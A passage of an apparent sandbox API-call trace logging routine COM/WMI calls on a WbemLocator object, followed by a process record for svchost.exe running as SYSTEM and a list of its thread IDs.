ppvObject=0x547e784*=0x8dbc6c) returned 0x0 [0127.299] WbemLocator:IUnknown:QueryInterface (in: This=0x8dbc6c, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x547e740 | out: ppvObject=0x547e740*=0x0) returned 0x80004002 [0127.299] WbemLocator:IUnknown:QueryInterface (in: This=0x8dbc6c, riid=0x74a60b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x547e634 | out: ppvObject=0x547e634*=0x0) returned 0x80004002 [0127.300] WbemLocator:IUnknown:AddRef (This=0x8dbc6c) returned 0x3 [0127.300] CoGetContextToken (in: pToken=0x547e5cc | out: pToken=0x547e5cc) returned 0x0 [0127.300] WbemLocator:IUnknown:QueryInterface (in: This=0x8dbc6c, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x547e5b4 | out: ppvObject=0x547e5b4*=0x8dbbcc) returned 0x0 [0127.300] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x8dbbcc, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x547e5bc | out: pCid=0x547e5bc*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.300] WbemLocator:IUnknown:Release (This=0x8dbbcc) returned 0x3 [0127.300] CoGetContextToken (in: pToken=0x547e5c4 | out: pToken=0x547e5c4) returned 0x0 [0127.300] WbemLocator:IUnknown:AddRef (This=0x8dbc6c) returned 0x4 [0127.300] WbemLocator:IUnknown:QueryInterface (in: This=0x8dbc6c, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x547e638 | out: ppvObject=0x547e638*=0x8dbc54) returned 0x0 [0127.300] WbemLocator:IUnknown:Release (This=0x8dbc6c) returned 0x4 [0127.300] WbemLocator:IRpcOptions:Query (in: This=0x8dbc54, pPrx=0x8dbc6c, dwProperty=2, pdwValue=0x547e65c | out: pdwValue=0x547e65c) returned 0x80004002 [0127.301] WbemLocator:IUnknown:Release (This=0x8dbc54) returned 0x3 [0127.301] WbemLocator:IUnknown:Release (This=0x8dbc6c) returned 0x2 [0127.301] CoGetContextToken (in: pToken=0x547ea38 | out: pToken=0x547ea38) returned 0x0 [0127.301] CoGetContextToken (in: pToken=0x547e9f8 | out: pToken=0x547e9f8) returned 0x0 [0127.301] WbemLocator:IUnknown:AddRef (This=0x8dbc6c) returned 0x3 [0127.301] WbemLocator:IUnknown:QueryInterface (in: This=0x8dbc6c, riid=0x547ea74*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x547ea70 | out: ppvObject=0x547ea70*=0x506dd7c) returned 0x0 [0127.301] WbemLocator:IUnknown:Release (This=0x8dbc6c) returned 0x3 [0127.301] WbemLocator:IUnknown:Release (This=0x506dd7c) returned 0x2 [0127.301] WbemLocator:IUnknown:Release (This=0x506dd7c) returned 0x1 [0127.301] CoUninitialize () Thread: id = 194 os_tid = 0x674 Thread: id = 195 os_tid = 0x650 [0127.312] CoGetContextToken (in: pToken=0x551eff8 | out: pToken=0x551eff8) returned 0x0 [0127.312] CoGetContextToken (in: pToken=0x551efe8 | out: pToken=0x551efe8) returned 0x0 [0127.312] CoGetMarshalSizeMax (in: pulSize=0x551efb4, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8dbc6c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x551efb4) returned 0x0 [0127.313] CoMarshalInterface (pStm=0x8d02d0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8dbc6c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 Thread: id = 196 os_tid = 0x4ec Thread: id = 197 os_tid = 0x4e8 [0144.609] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0144.613] ResetEvent (hEvent=0x328) returned 1 [0144.613] GetLastError () returned 0x0 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa023000" os_pid = "0x374" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "9" os_parent_pid = "0x718" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cd97" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 145 os_tid = 0x4f4 Thread: id = 146 os_tid = 0x50c Thread: id = 147 os_tid = 0x350 Thread: id = 148 os_tid = 0x348 Thread: id = 149 os_tid = 0x324 Thread: id = 150 os_tid = 0x580 Thread: id = 151 os_tid = 0x268 Thread: id = 152 os_tid = 0x4f8 Thread: id = 153 os_tid = 0x428 Thread: id = 154 os_tid = 0x7e0 Thread: id = 155 os_tid = 0x7dc Thread: id = 156 os_tid = 0x7d4 Thread: id = 157 os_tid = 0x7d0 Thread: id = 158 os_tid = 0x7c0 Thread: id = 159 os_tid = 0x7bc Thread: id = 160 os_tid = 0x7ac Thread: id = 161 os_tid = 0x79c Thread: id = 162 os_tid = 0x794 Thread: id = 163 os_tid = 0x790 Thread: id = 164 os_tid = 0x788 Thread: id = 165 os_tid = 0x784 Thread: id = 166 os_tid = 0x77c Thread: id = 167 os_tid = 0x774 Thread: id = 168 os_tid = 0x770 Thread: id = 169 os_tid = 0x76c Thread: id = 170 os_tid = 0x768 Thread: id = 171 os_tid = 0x760 Thread: id = 172 os_tid = 0x754 Thread: id = 173 os_tid = 0x438 Thread: id = 174 os_tid = 0x43c Thread: id = 175 os_tid = 0x4fc Thread: id = 176 os_tid = 0x4a8 Thread: id = 177 os_tid = 0x4a4 Thread: id = 178 os_tid = 0x494 Thread: id = 179 os_tid = 0x490 Thread: id = 180 os_tid = 0x484 Thread: id = 181 os_tid = 0x1c8 Thread: id = 182 os_tid = 0x124 Thread: id = 183 os_tid = 0xc8 Thread: id = 184 os_tid = 0x3f8 Thread: id = 185 os_tid = 0x3ec Thread: id = 186 os_tid = 0x3a0 Thread: id = 187 os_tid = 0x394 Thread: id = 188 os_tid = 0x390 Thread: id = 189 os_tid = 0x38c Thread: id = 190 os_tid = 0x380 Thread: id = 191 os_tid = 0x378 Thread: id = 198 os_tid = 0x740